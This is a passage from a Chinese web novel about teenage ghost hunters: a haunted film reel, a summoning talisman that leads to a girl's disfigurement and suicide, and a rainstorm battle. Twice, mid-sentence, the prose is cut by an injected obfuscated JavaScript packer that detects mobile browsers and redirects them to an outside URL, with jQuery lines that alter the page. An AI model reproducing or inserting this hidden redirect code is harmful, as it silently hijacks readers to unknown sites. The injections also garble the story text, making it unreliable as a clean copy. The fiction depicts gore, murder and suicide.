白雾自地缝漫起,凝成个挽双鬟的影。绣鞋尖点过青砖,缀着的银铃铛却发不出响。那影儿飘近时,秦梧嗅到股陈年的胭脂味。
“我不会再逃了。”
她如此复读着,向秦梧走来。不是跑,是悬浮般掠过地面,带着一股影像的错帧感。
“来了,”小鹊低声说。她站在摄影机后,手里夹着一枚桃木楔子。等白裙一脚踏入圈中,果断出手。
楔子卡进片盒的刹那,捻咒指一扭,整台机器“啪”地爆开一声噪电——白裙身影剧烈扭曲,黑白噪点里炸开声婴啼般的尖啸。
“好啦~”
白裙发出短暂撕裂声,像无数个沈月棠在一起尖叫,下一秒被火舌般的阳气撕得干干净净。
事情圆满解决!
胶片找到了。
“果然观者还不是全然没用嘛。”少年召集同伴们一同观看:
【画面为8毫米老胶片质感,颗粒感重,色调泛黄,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835172|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈月棠穿着白裙坐在导演椅上,身影半虚,眼睛直勾勾看向镜头。】
“你在看我吗?”
“别眨眼。导演说镜头是真诚的,如果你眨了,就代表你在撒谎……我讨厌撒谎的人。”
“你好,我是沈月棠。不是“那位猝死的女演员”,不是“剧组的倒霉蛋”。我是有名字的,你听好了——沈·月·棠。沈是沉溺的沈,棠是海棠的棠,不是糖——我不甜。”
“那天我死的时候,我还在拍戏。他们喊了卡,但我没听见。导演喊“换人”,我心口就像被谁塞了个烫铁球。你见过人一边吐血一边演爱情戏吗?他们说我敬业,说我太入戏了。”
“他们说,我死得刚刚好。可是——你知道吗?我没拿到那场戏的尾款。”
“我把一颗牙磕在了道具楼梯上,那颗牙值三百块,是我妈给我镶的。你知道那场“落水惊魂”是冬天拍的吗?池子底下有钉子,我大腿上那条疤,他们修图都懒得修。”
“我问制片能不能换一件干净的内衣,他说:‘穿白裙的角色,脏点才像可怜人。’”
“他们说,‘你不是主角,能死在镜头里是你的荣幸。’于是我死了,笑着、带妆、在灯光下,像个被泡在福尔马林里的玻璃人偶。”
“可我没有‘杀青’。没有谢幕,没有告别,没有掌声。只有一句:‘把她扯下去,别耽误下一场。’”
“所以我回来了。“
“那你——愿不愿意,和我一起演下去?”
【画面终止,屏幕雪花闪烁,传来断断续续的胶片倒带声。】
他们仨坐在断腿琴凳上,谁也没先开口。
秦梧捏着半截糖画棍,木刺扎进指腹也浑然不觉;他有些沮丧:“……我想了想,其实那个女演员昨天不是演得很好,也不是特别漂亮,我说真的。可她倒下那瞬间,我脑子里就一直在想……是不是她知道自己会被抛弃,所以拼命抢镜。”
没人接话。
小鹊倚着裂了漆的琴身,表情淡漠。
骆云影眼皮都没抬:“她知道自己会死?你以为她是灵媒还是预言家?那鬼不是延时的——她是临死前才被缠上的。”
“可你不觉得奇怪吗?”秦梧盯着琴谱边角晕开的茶渍: “她倒下前的那个动作,她嘴巴张着,好像在说话——而且,她昨天一直在盯着小鹊看!就跟……跟在求她什么一样!”
“就算是求,”骆云影啪地把剧本一合,冷淡地道,“求的也不是我们,是镜头。你懂吗?在这种地方,要么红,要么死。”
“什么…”
“潜规则、替身、试镜、退赛。”骆云影的语调像浇冷水,毫无温度,“娱乐圈里死个新人,根本不算新闻。你看不惯,是因为你还在当观众。观众总以为自己站在道德高地上,能看清人命的分量,可他们每个月都在追新的、捧新的,然后忘了名字、换脸、洗牌。”
“你这么说,好像她死得该。”秦梧声音低了下来。见糖画棍上的饴糖早化成了琥珀色的泪,一滴一滴砸在琴凳腿的霉斑上,他赶忙拿纸巾去擦。
“我没说该。我说的是—— 这行当最金贵的可不是人命。是胶片,是收视率,是投资方酒局上的谈资。”
小鹊忽然笑了:“骆云影,你是不是也想出道啊?”
“滚。”
“我可以带你去见个导演。”她眼睛弯弯,没头没脑地说,“他以前拍过地下片子,会喜欢你这种‘反社会冷美人’。”
“小鹊,别说了。”秦梧无奈,“我知道你嘴贫,可现在不是开玩笑的时候。”
小鹊歪头:“那你说,我该怎么做?去给她烧纸?去问鬼魂‘你怨不怨’?还是拿个铃铛跳大神?”
秦梧看着她:“……我只是想弄明白,她死得是不是太轻了。”
又来了,自己青梅那微妙的人外感。
“嗯?”
“她才十七……十八?也许从小就梦想着在镜头前成为主角,也许她练了五年的形体,三年的笑容,结果临了连个替补都不是。就因为‘身体不好’,就因为‘家里没人’。就算人死了,导演说一句‘与我们无关’,就可以继续拍。她就像一根烧完的香,被掸到地上。”
小鹊没直接回话,她正认真拿鞋尖勾住垂落的蜘蛛丝,轻轻一扯,然后笑了:“那你想不想让她真的拍完那部电影?”
她语气很轻很随意,“如果她生前拼命就是为了那几秒镜头,那我们不如帮她拍出来。”
三人低头看剧本。那本剧本的最后一页正空着。没有台词,没有分镜,只有一行褪色的红字——
“她缓缓走向光中,笑得像春天。”
影棚的灯光“啪”地亮起时,骆云影刚好拎着反光板回来。他踹开挡道的朽木景片,没好气地吼了一句:“喂,谁把这块垃圾挡住灯了?”
小鹊翘着腿坐在高脚凳上,高高在上地指挥:“辛苦啦小骆同志—— 你再往左一点,这光要柔得像灶上煨的米汤。”
“你谁啊?童年女主都还没出场,你就当自己是影后了?”他靴尖碾碎只潮虫,显然十分嫌弃这拍摄条件。
“今儿我身兼数职啦。”小鹊掰着手指,“是苦等兄长的小妹,是添戏的笔杆子,还是——”她忽然蹦下凳子,“这出戏最金贵的活道具!你说我是不是该多一点光?”
“你要是再废话我就拿灯烤你。”骆云影冷冷地回,转头跟摄像确认:“打人物轮廓。你把她脑袋照出金边就行,别照出佛光。”
“阿弥陀佛,”小鹊作揖,“我从今天起要净化这个剧组。”
“你给我净化净化你嘴吧。” 秦梧从剧本堆里抬起头,“导演要的是‘天真未凿’,你倒好——”他扬了扬改得密密麻麻的台本,“活脱脱西太后垂帘听政。”
"那我便演你儿时模样。"小鹊忽然凑近,鼻尖沾的浮粉在逆光里亮晶晶的,"功课顶好,嘴皮顶利,眼珠子转得滴溜溜快。"
秦梧无奈地叹了口气:“行,你赢了,我不跟你比。”
她得寸进尺:“那你待会要坐在摄像机旁边看我演。”
“好好好,我坐。”秦梧拉过一个椅子,“你就差让我举灯打板了。”
“骆影帝才干那种粗活,我是小公主。”
拍摄正式开始时,全场安静得能听见灯管的嗡鸣。
那一幕设定是:女主童年时在老家山坡上等哥哥放学归来。小鹊赤脚蹲在黄土垒的台阶上,断树枝在掌心晃成拨浪鼓。日头斜斜切过她发梢,将倔强的侧影投在斑驳的砖墙上,恍若旧年画里走出来的童女。
“Cut——过了。” 场务们围上来递水擦汗,小鹊却蹦到灯架阴影里。骆云影正卸着反光板,锡箔面上忽地映出个毛茸茸的脑袋:“我像不像庙里偷灯油的小狐狸?”
骆云影表情懒洋洋的,“你是小时候在寺庙里长大的?”
“我是在补习班长大的。”小鹊笑,“不过我小时候也是等秦梧放学的。”
秦梧站在几米外,隔着灯光和支架,看她笑着摆手、在灯海里转了一圈。
夕照正巧穿过木格,在她周身镀了层金边。秦梧望着那渐渐消融在光晕里的轮廓,喉头忽然梗了团晒蔫的艾草。那是一种几乎宗教般的明亮,像一盏将熄的灯,最后一刻释放出的温暖。
秦梧忽然有些说不出的难受。“小鹊。”他开口叫她。
“嗯?”她回头。
他揉了揉鼻子,想说点什么,最后只是道:“走吧,回家吃饭。”
10. 人生被毁的节点
班里掀起了一波灵异热潮。
秦梧对此早已习以为常,起初他还努力辩解,说是巧合、误会,如今被传得玄乎了,也就干脆点头认了:“对,我就是捉鬼师。”
于是,很快又有人找上门来。
秦梧支着肘打盹,粉笔灰沾在睫毛上,活似落了层薄雪。小鹊蹲在窗台剥橘子,橘皮撕成小鬼脸,正往梁倩的练习册上贴。
“秦梧,你能不能帮我?”声儿细如蚊蚋,她绞着校服下摆,金丝眼镜滑到鼻尖。
那女孩叫梁倩,是钟月茹的朋友。她上周做了一场网上流传的“驱鬼仪式”。流程听起来既荒唐又慎人:剪开最喜欢的洋娃娃,取出棉花,把空壳放进撒满盐的冷水浴缸,自己含一口盐水后藏起来。据说三十秒后娃娃会“复活”,帮她赶走家中的鬼魂。但,如果娃娃在找鬼的过程中“找到”她本人——就会有血光之灾。
可那只娃娃竟真的飘着从浴缸里出来,瓷白的手攥着菜刀,刀刃在月光下淌水。
她死死捂住嘴,盐水在嘴里都快发苦,直到娃娃突然坠地不动,像是仪式时间结束了。她以为结束了,却在翻过娃娃的脸时,看到那张苍白女人的脸还留在那里,只是闭上了眼,像是在沉睡。
皮肤触感冰冷而柔软,就像真的人。
梁倩把那个长了人脸的洋娃娃丢进了小区的垃圾桶。
她依稀记得,自己攥着布娃娃疾走。野狗们拖着涎水尾随,眼珠子黄浊。
布娃娃落进铁皮桶的刹那,惊醒了栖在馊水桶沿的绿头蝇。梁倩逃也似的窜进楼道,扶梯时瞥见野狗们围着铁桶打转。
她眯起眼睛看了一会儿,忽然觉得,那娃娃仿佛也抬起了头,冲她这边望了一眼。
当天晚上,梁妈妈下班回来,喊梁倩去门口小店买一袋。于是梁倩攥着盐袋立在巷口。野狗们横七竖八倒作一团,肚肠翻在外头,混着烂菜叶子的酸腐气。卖酒酿的老王头捏着鼻尖凑近瞧:“作孽哦,这咬痕倒像人牙印子......”
梁倩的踩进血泊里,稠红的浆液正从垃圾桶底渗出。她踮脚朝里张望——娃娃没了。晚上她翻来覆去睡不着,闭上眼总觉得颊边触到团湿冷的棉絮
天还没亮,闹钟响了,外头天刚起白。她刚睁眼,就闻到房间里有一股奇怪的味道——像是冰箱坏了之后忘了扔的鱼,又像是雨天湿垃圾发了酸,还带点血腥味。
她猛地睁开眼——布娃娃端坐枕畔,嘴角的丝线崩开半寸,活似咧着血盆大口。
梁倩眼圈发青,伏在课桌上抽噎:“我后面又扔了好几次,可它总是会回来……”
秦梧的钢笔尖在作业本上悬了半晌,终是叹了口气,:“你是真信这招鬼的玩意儿啊。”
小鹊正捏着鼻子,学娃娃一拐一拐的样子。鞋底蹭着地板“滋啦”作响,惊得梁倩打翻了墨水瓶。秦梧白了她一眼:“别闹。”
他转向梁倩:“笨蛋,网上的东西你也信,这压根就是个招鬼游戏。跟什么三人墙角、镜子里叫玛丽、请碟仙是一类的——再加上你的媒介用的是洋娃娃,鬼不找你,它找谁呢?”
秦梧抽出一张黄符递过去,是他爸画的,号称‘老秦家压箱底的真本事’:“拿着。”
可那符纸还没捂热,背后忽然有个小小的声音在她耳边响起,像是人在吹气——
“找~到~你~啦~”
梁倩“呀”地撞翻条凳,后腰正磕在暖气片上。
“小鹊!!!”
秦梧这才知道,自己是失了算的。
那道画给梁倩的符,被个苍白的少年换了,说是骆云影的旧识,姓陆,叫颜辉。
谁知道那东西是招鬼的。符纸一换,强化的小鬼便生生剥了少女的脸皮,往空落落的皮囊里一钻,又照章办事似的,把她的父母也一并害了,事后便蹿去墓地吞噬怨气,理所当然得很。
秦梧拽着骆云影赶到时,荒草正簌簌地抖。怨鬼散了,徒留个蜷在蒿草堆里的姑娘。
少女昔日的容颜被鬼撕了个稀巴烂,如今只剩下赤红的肌理和一双凸出的眼珠子。月光漫过她的脸,碎肉混着血珠子往下滴,倒像是哭了,可那眼泪,可能也已经不知道往哪儿流了。
秦梧站在那里,一时不知道说什么好。他不知道该从“你亲手杀了父母”说起,还是该从“你毁容了”说起。其实说什么都不对。说了,反倒像是错的。
他正拿不定主意呢,身边忽然传来一阵脚步声——皮靴碾碎枯叶的声响。骆云影袖口的银链子泠泠作响,蓝灰眸子凝着霜:“让道。”
他退后半步,却见银链忽窜出,死死绞住梁倩脖颈。月光泼在少女肿胀的筋肉上,眼珠子凸得像要迸出来。
秦梧愣住了。他简直不敢相信自己的眼睛。“你在干什么?!骆云影!”
骆云影并不多解释,头也不抬,只说了一句:“我不杀她,她也会死。”
秦梧的心底一阵发寒。他觉得这事不对头。梁倩不是骆云影的同学吗?他们不该是有些情分的?再说了,她虽然毁了容,但她还活着啊!活着就是有希望的,人只要还活着,就能再找回一点人的模样。
眼看气息越来越微弱,秦梧扑上去,两人滚在露水里,血珠子染红了狗尾巴草。
骆云影被撞得七荤八素,挣扎着要爬起来,咬牙低吼:“你他妈疯了?!”
秦梧不理他。
梁倩伏在地上咳,破碎的喉管漏出风箱似的响。秦梧望着那张血肉模糊的脸,忽觉夜露浸透了骨髓:“你回去吧,没事了。”话出口才惊觉,自己眼角竟坠着水珠子。
他觉得她也是想哭的。可那脸已经没了表情的地方,连个嘴角都不剩。梁倩没回话。她从地上爬起来,一步三晃地跑远了。
少女跌跌撞撞消失在雾里。骆云影仰面躺在草窠中。他望着天幕上疏淡的月:“现在不杀了她,早晚有一天……”
尾音散在风里,像句没念完的偈语。
天花板淌过车灯的涟漪。秦梧蜷在沙发角,指尖捻着布枕头。电视荧屏幽蓝的光里,女声在报丧事:
【某小区内发生命案,夫妻二人被害,凶手仍未找到。】
【XX山体滑坡事故导致多人丧生,救援工作全力进行中。】
桌上的手机突然亮了,是钟月茹发来的消息:
【秦梧,你身体不舒服吗?今天怎么没有来上学。】
少年睫毛在眼下拓出蝶影,喉头梗着湿棉花。前日观者发来通报说梁倩“转学”,字字工整如病历,却比病历更冷三分。
因为就在他想着要去看她一眼时,消息又来了——梁倩死了。就在那晚,她一个人回了家,在浴室里割腕。
黄二小蹭他脚踝时,少年正盯着浴室割腕的新闻截图。狗毛蹭过掌心的温度,倒像是他求着这份暖意。“对不起啊……希望我的情绪没有影响你。”他摸着狗头喃喃。
他痛恨自己的无能。
小鹊坐在窗台描空花盆:“你别太自责了……秦梧。”
“她的死不是你的错。”
秦梧没说话,指尖却紧了紧。
“你已经尽力了,那种情况下……谁都没办法保住她。况且——”她顿了顿,像是在琢磨词,“好死不如赖活;有时候活着就是一件了不起的事。”
“可她还是死了。” 秦梧喉咙里滚着砂石。
“那是她自己的选择,”小鹊的眼睛在黑暗中亮晶晶的,“我们可以保护人,也只能保护到一部分——人要自己想活下去才行。活着是株野草,自己得先抓住土。”
“你怎么能这么说?”他猛地转头,“她才十七岁,被鬼操控,毁容,父母被害,你说她‘选择了死亡’,你这是在怪她。”
“我不是怪她。我只是接受她已经不在了的事实。”
“你接受得也太快了。”秦梧站了起来,背对她。他觉得自己可笑,但人崩溃之余就是会和最亲近的人发脾气: “你有时候……真的不像人。”
小鹊没有动。如泥塑童女般的女娃转过脸,月光在她衣褶上绣银边。
“人总是要往前走的。”她说,“我们不是来拯救世界的,也不是来背负所有命运的。”
夜风撩动晾衣绳上的白衬衫,晃着那晚梁倩离去时的残影。小鹊起身时带落几粒干土,饭桌上多了道无形的界河。黄二小在两人衣摆间打转,嗅着冷掉的饭菜香。
秦梧也没挽留。他不知道该说什么,他觉得小鹊太聪明了,聪明得像是站在河岸对面的观音,有慈悲,但没有愚钝。
而他,只是一条溺水的狗。
从那天起,两人开始了冷战。
她在饭桌上坐在他对面,安安静静吃饭,从不多说一句话;他也不主动搭话,只是埋头吃饭,筷子下的米粒,有时吃得太快,会噎住。
黄二小在两双拖鞋间打转,耳朵垂成问号。
这日半夜门轴轻响,秦梧数着走廊渐远的足音。床头浮着碎银似的月光,恍然照见桂树下的旧事——小时候,小鹊攥着他衣角哭,说是被哥哥骂了。那时候她一把鼻涕一把泪,抓着他的衣角说:“你要一直护着我。”
“我当然会的!”金桂簌簌落进她衣领。他那时揉乱她发顶,不知诺言比桂花还易碎。
——可现在,他连一句“别去”都说不出口。
月光漫过卡片上的字迹,工整得像春蚕吐丝。那是梁倩以前给他写的小纸条:
【秦梧同学,可以请教你一个问题吗?】
泪珠子滚进棉絮,洇出小小的海。他忽觉少年时光原是琉璃盏,说碎就碎在某个秋夜。
秦梧和骆云影开始着手调查招鬼符的事情——可这东西跟蝗虫过境一样,在城市中四处泛滥起来,秦梧甚至被招来的鬼弄进了医院。
他最近总是做梦,梦里有雨,也有哭声。可偶尔…偶尔…会有笑声。
可醒来,什么也没有。
秦梧数着输液管里的点滴。招鬼符如野草疯长,倒叫他成了被阴气噬伤的困兽。
冷战已经有五天了。五天零七个小时,外加二十六分钟。
不是他记的,是钟月茹那天送他药,顺嘴提了一句:“小鹊不是从上周二中午跟你吵完架之后就没怎么说话了吗?”
她记得,他不想记。
其实也不算吵架,就是一句话接一句话——她说人命如纸鸢易断,他说生死簿上墨迹未干。气都搁心口上,搁出个冷战。
那天小鹊来了。一如既往地推门进来,手里捏着一串糖葫芦,笑嘻嘻的:“你是不是在想我?”
“不是。”秦梧坐在沙发里,嘴硬得像生橄榄。连头都没抬。
她在门口顿了一下,像没听见,坐在他对面,“那我想你啦。”
秦梧感觉胸口堵堵的:“你不该来的。”他闷声说。
“怎么不该?我可是来探病的。”她晃着腿,裙摆扫过床沿像掠过水面的蜻蜓。
“我说了你别掺和这事。”他盯着她,眼里一点火苗在闪,“你不懂……你、你不明白。”
“你说我不懂?”她有点惊讶地看着他,“那梁倩的事呢?”
“别说她!”
小鹊怔了一下,随即垂下眼,点点头,“好,不说。”她没有走,就那么坐着,在床尾剥橘子。指尖勾着橘络,像拆解一团乱了的红线,人则像个风铃被谁挂在了屋角。她一向这样——不争不抢,也不服软。但这一回,她的安静让秦梧更难受。
“你以为我喜欢管这事吗?”他低声说,像是对自己,“我也不想让她死……可我根本不知道还能怎么救她。”
“你已经做了你能做的。”她说,声音轻轻的,“不是所有结局都能靠你改变。”
“你总是这样说!” 少年猛地撑起身,输液架晃出铜铃响,眼眶泛红:“你老是这么轻描淡写,好像人死了也不过是天上的纸鹤落了一只——可她死了,她是真的死了。”
他眼睛瞪着她,却又不敢多看一眼。他怕自己一说完,她就不见了——她是个会突然消失的人,就像她的脚步,像她说话时候飘起来的语气,轻得不像活人。
小鹊没回嘴。
“你是不是……怕我也会死?”她问得轻巧,像在问:“你是不是还在发烧?”
秦梧没答。他站在那里,指尖颤了颤,心里说不上是怕还是生气。
她就这么走了。
从那天起,两人都没主动联系。电话也没打,消息也没回。她还在学校里笑,和谁都能搭话,连骆云影那种人她也能斗嘴,可只要一转头看见秦梧,她就把头偏过去,看天看地看墙壁,唯独不看他。
有一天,秦梧从医院出来,脑袋上缠着绷带,整个人走路都像断了线的木偶。他刚被招鬼符引出来的鬼打了个措手不及,差点折在天桥下。
骆云影骂他:“你脑子是不是有坑?这种鬼你一个人去?!”
“你不也一个人来了吗?”他顶嘴,话出口才惊觉这是废话。
“我那是能力允许,你那是脑子热。”骆云影啧了一声,“你在找死。”
他没接话,坐在医院走廊边上,一动不动。天色已经黑了,楼下的霓虹灯像招魂的纸旗子,晃得人心烦。忽然有人蹲下来,给他递了一瓶热饮。“暖的。”
秦梧一看,是小鹊。她罩着旧校服蹲在那儿,袖管空荡荡垂着,像水袖。她总爱这么披着他的衣裳,仿佛套层铠甲就能扮大人。
“……你怎么来了?”
“探望病人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835173|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她答得干脆,“又不是第一次了。”
“我没让你来。”
“你也没拦我。”她晃了晃杏仁露,铝罐凝的水珠滚进他掌心,“上回你说太甜,这罐少糖。”
他低头看着瓶子,手指紧了紧。
“你还在生气吗?”她问。
小声的“没有”。
“你还在怕我死吗?”
“……别说了。”他声音发紧。眼角又有点红。
“你可真别扭。” 她指尖掠过他缠绷带的额角,凉意渗进纱布纹路,“小时候你不是这样的,那时候我一哭你就哄我,现在我说你两句你就要翻脸。”
“那时候你小。”他嘟囔。
“我现在也不大。”她眨眨眼。
——就是这种态度!他在心里叫嚷。她总是一副什么都不怕,什么都能处理的样子。他的自责,他的愧疚,他的惶惶不安,她一点都不当回事。她在意的事情,好像都藏在另一个盒子里,别人看不到。
可他还是想她哄哄自己,像小时候一样,说“秦梧你是最厉害的”,说“我一直都在”。他明知道这样想很幼稚,可就是忍不住。
眼前浮现她哭花的猫脸。如今她立在光晕交界处,倒像年画褪了色的绢人。恍惚间想到,原来他们说她像年画娃娃不假。
在这样的夜晚,连鬼魂也会颤抖吧。
风雨如注,天像是被谁一脚踹破了肚皮,瓢泼下来,砸得人眼睛都睁不开。湖水暴涨,雨幕中城市的灯光都被搅得一团模糊,远处警示灯红蓝交错,晃得像鱼鳞反光。雨声和水声混在一块儿,密密麻麻地灌进耳朵里,直到把人脑子也灌满了。
陆颜辉立在桥心。“你果然来了呢。”
话音未碎在雨声里,黑雾已化作百鬼夜行图。骆云影翻腕甩链,链梢挑破雨帘。少年蓝灰瞳仁映着血色,竟比厉鬼更艳三分。
阴阳眼视野中忽然混入了几条银色的丝线,陆颜辉指尖牵动无形丝线,像摆弄皮影戏的匠人,穿过鬼魂,直奔骆云影而去。
丝线显形时恰逢惊雷炸响。骆云影恍惚见曾经,银丝穿透咽喉…这一恍神,天罗地网已缚住四肢,血线顺着雨水织就的红绳蜿蜒。他被吊在空中,那些几不可见的丝线绕得他像蚕茧,皮肉崩裂,热血从骨缝里渗出来,落入雨里。
痛觉倒退了。他不觉得疼了,也没力气再骂那句“真他妈的”。他心跳得很慢很慢,像是旧钟表的最后一滴油烧干了。
“真可惜,我曾经一度以为你是这世上最强的捉鬼师,不过现在……永别了,我的朋友。”
他被厉鬼打飞,落入湖中昏过去的前一刻,看见桥头掠过一抹白。女娃踏雨飞来,像一片纸鸢,一只雨燕,鬓角银杏坠子晃碎雨帘,校服外套被风鼓起如白鹤亮翅。
“我来啦!”她在风雨里喊,嘴角扬得高高的,眼睛亮得像碎银。
她当然不该在这的,骆云影在意识消散前最后一个念头是:“你怎么又跑过来了啊,小祖宗……”
他想骂人,却没力气开口。他想让她走,却发现自己什么都做不了。
这是骆云影和小鹊失踪的第三天。
天气不大好,阴阴的,像是城里哪家老娘早上炖的莲藕汤忘了揭盖子,锅气都飘到了天上。云压得低,一只鸟都不飞,树也懒得摇晃。
学校的课他俩都没去上,消息发了几十条,像是扔进了水塘,连个泡都没见冒出来;电话倒是打过,起初还有忙音,后来就连个“嘟”声也没了。
秦梧心里窝着火,一早饭也没吃几口,把家里那碗泡了一夜的绿豆汤搁桌上就跑去阳台瞅天,阳光没有,鬼气倒是不少。整座城市像是悄悄被什么东西盖上了一层膜,街角的狗也不叫,树根边儿多了些纸钱样的碎屑。最可气的是网上还传得热闹,说什么“鬼压床实录”“我家猫对空气哈气三小时”云云,看得人牙根发酸。
秦梧倒不是怕鬼,只是心里忐忑。骆云影暂且不论,小鹊不该不告而别,小鹊从不这样,小姑娘没心没肺惯了,撒谎都带着笑声,真要跑了,也得写张纸条,画个小狐狸。
“要不要报警?”他一边刷着那条没人回的对话框,一边琢磨。
秦观海趿着塑料拖鞋晃来时,正撞见儿子在阳台数云。老家伙指尖夹着张乌木色的符纸,符纹蜿蜒如黄泉路:“臭小子,又惹事了?”那语气吊儿郎当。
“招鬼符都贴到家门口来了,”秦观海啪地一声把符扔到桌上,又哧溜一下坐进沙发,抖抖腿,一副看戏的样子,“我想你大概不介意,跟你爸老实交代交代吧?”
光把父子俩的影子烙在瓷砖上,一个绷得像弓弦,一个松垮如晒蔫的丝瓜。秦梧心里乱得很,又是担心,又是委屈,还夹着一丝说不出口的怒气。他不说话,把符纸捏得哗哗响。
秦观海倒是没管他,跑去群里“哐哐哐”发消息,不到一小时,家里便热闹起来。
客厅里坐了十来号人,麻将机哒哒哒地转,茶几上冒着酒香。有人讲冷笑话,有人嚼花生米,连窗台那只流浪猫都忍不住探了头。
“爸,你在家里开中老年茶话会啊?!”话没说完后脑勺就挨了记脆响。秦观海叼着烟杆笑出满脸褶:"瞧瞧,这是城西柳婆婆,那是北郊张天师后人——"话音未落,蹲在窗边的红发小姑娘“噗”地吐出珍珠奶茶,挥手向他笑得甜甜的:“哟,好久不见!那天那个帅哥怎么没和你一块儿?”
秦梧眉毛动了动,嘴角抽了一下:“失踪了。”
小姑娘一听,奶茶都喷了:“哈?这么帅的人怎么可以失踪?!不刨地三尺也得给他刨出来!”
麻将机咔嗒声忽然停了。满屋子捉鬼师齐刷刷转头。秦观海抖着符纸说事,檐下流浪猫都竖起了耳朵。
“别让那臭小鬼看扁咱们!”
“我们的时代还没过去呢!”
喊口号的老头第一个蹿出窗户,身手利索得不像是刚吃完五个猪蹄子的人。窗外风大雨急,却有人脚踩符纸,凌空飞去。满屋人影次第消失在雨帘后,只余烟圈在吊灯下打转。
只留下秦梧愣在窗边,看着一屋烟气,鼻子一酸。
他忽然觉得有点冷,于是想关窗,却一眼瞥见空调外机和铁架之间,有什么东西在风中轻轻摇晃。
是一张符纸。
“这疯子,八楼也能贴?”他骂了一句,把符纸抽出来。招鬼符在风里乱舞,像是挣扎着要逃开,却终究还是乖乖落在他手中。
他一时没烧,只盯着它出神。阴阳眼开时,见黑气顺着符纹游走,恍若墨龙。
它指向一个方向。
秦梧攥紧了符,连伞都没拿,风风火火地冲进了夜色和雨中,仿佛整个城市都沉在水底,而他正要去把人打捞出来。
11. 炸串
“本来就讨厌,如果这鬼天气还是你干的,那就更讨厌了。”秦梧仰面任雨点子砸在眼皮上,睫毛凝的水珠子倒映着陆颜辉惨白的脸:“骆云影和小鹊在哪里?”
他一边说着,一边紧握着手中的破邪符,符纸湿透,却仍微微发烫。他不是没担心过骆云影的安危,但想起他银链绞碎三只水鬼还要骂人家死相难看。那样的人,该是黄泉路上也要踹翻孟婆汤的混账。
所以——他不信骆云影会死。
不会的。骆云影太难搞了,也太硬了,怎么会轻易死。
可小鹊……
秦梧喉头一紧——小鹊总爱踩着积水坑走。上回她偷了观者的鬼具去钓湖精,被他骂得直吐舌头。她太轻了,太小了,有时候连命都不当回事地往前冲,他每次都骂她作死,可她回头一笑,“你来不来啊?”就把他骂回去。
可是她一直都冲在最前面,从来没出事。她不该出事的。
“骆云影死了。”陆颜辉答得干脆,“我把他扔进湖里了,现在大概已经和那些游魂打招呼去了。”
秦梧的指节猛地一紧,却没有立刻发作。他皱起眉,盯着那双兴致勃勃的眼睛,沉声道:“你骗人。”
“你怎么知道我在骗人?”陆颜辉挑眉。
“你编谎总爱添佐料。”秦梧咬牙,“若是真得手了,此刻该用丝线吊着他的魂魄来揍我。”
“你不信也没办法,”陆颜辉笑了,“反正你最在意的那个小姑娘……应该是真的死了。”
秦梧顿了顿,故作冷静地问道:“你说谁?”
“谁啊?”陆颜辉忽然垂眸,语气极其随意,“你一直在说谁?”
那一刻,像是某根神经被猛地拔掉了——
谁。
谁?
你说谁?
——她叫小鹊啊。
——她是我最好的朋友。
“她叫小鹊…” 少年喉间滚出沙哑的呜咽。阴阳眼开合的刹那,金乌坠进他左眼:“她是我青梅竹马,是小队最能打的,是你他妈说‘谁’的那个人!”
“你不是很会招鬼吗?”他一步踏前,“那你把她叫回来试试啊!”
“叫啊!!!”
落成湖桥面震颤,溺魂群起,天地像被这少年一嗓子吼碎。
雨帘子扯成银丝面,秦梧倒悬在天地间晃荡。陆颜辉指尖银丝泛着光,勒得少年绽出红梅,叫血珠子滴进积水坑。
“你这点本事也敢当捉鬼师?”陆颜辉的声音在雨中淡淡的。
秦梧忽地笑了,露出虎牙尖:“打鬼是差了点,打你还够用。”话毕咬碎耳垂红绳,舌尖血溅在皱巴巴的符纸上。人火窜起如灶膛爆火星,烧得银丝噼啪作响。
他“咚”地落在地上,姿势狼狈,心气却仍高。陆颜辉丝线又来,秦梧躲得急,还是被划了几道口子。警灯远远照来,雨中丝线浮出光亮,他这才看清那密密麻麻的圈套。
“原来你是这么玩的。”火光映出漫天银丝网,露出个破洞。
少年猫腰钻过:“你的线,借我用用。”他冷不丁一扯,将人火顺着丝线送回去,一下逼近陆颜辉,抬手就是一拳。
雨脚忽然滞住。秦梧攥着对方衣领,眼瞳里燃着火焰;他气疯了:“骆云影和小鹊在哪儿?”
这一拳打得陆颜辉直晕了眼。他还想站起来,就又被揪了回去。
雾里忽有锁链拖地声。秦梧转头望去,见骆云影拎着半截断链蹚水而来,发梢还沾着水藻。
——是骆云影,他居然,还活着。
骆云影踩着青苔一步步走。校服碎成水草似的布条,底下翻着青紫的伤口。他扶着公园里不只是谁立的碑呕出半肚子黑水,胆汁混着螺蛳壳在泥里滚。
“你下次杀人抛尸之前,能不能先他妈的确定人真死透了?”声音沙哑,像是喉咙都被水泡得生锈了,说这句话时带着咬牙切齿的力道。
“骆云影,你……”秦梧刚要开口,忽见对方眼底腾起的火,忙退后半步让道。
果然,对方在经过他身边时,猛地伸手将他推开:“闪开。这是老子自己的事。”
秦梧站稳了,咬了咬牙,还是忍不住问了一句:“……那小鹊呢?她去哪儿了?”
骆云影没回头,声音却比刚才更低:“把我捞出来就走了。之后一直没再见过。”
他没有说谢谢,也没提那天究竟发生了什么。他只知道,自己爬上岸时像条命悬一线的狗。
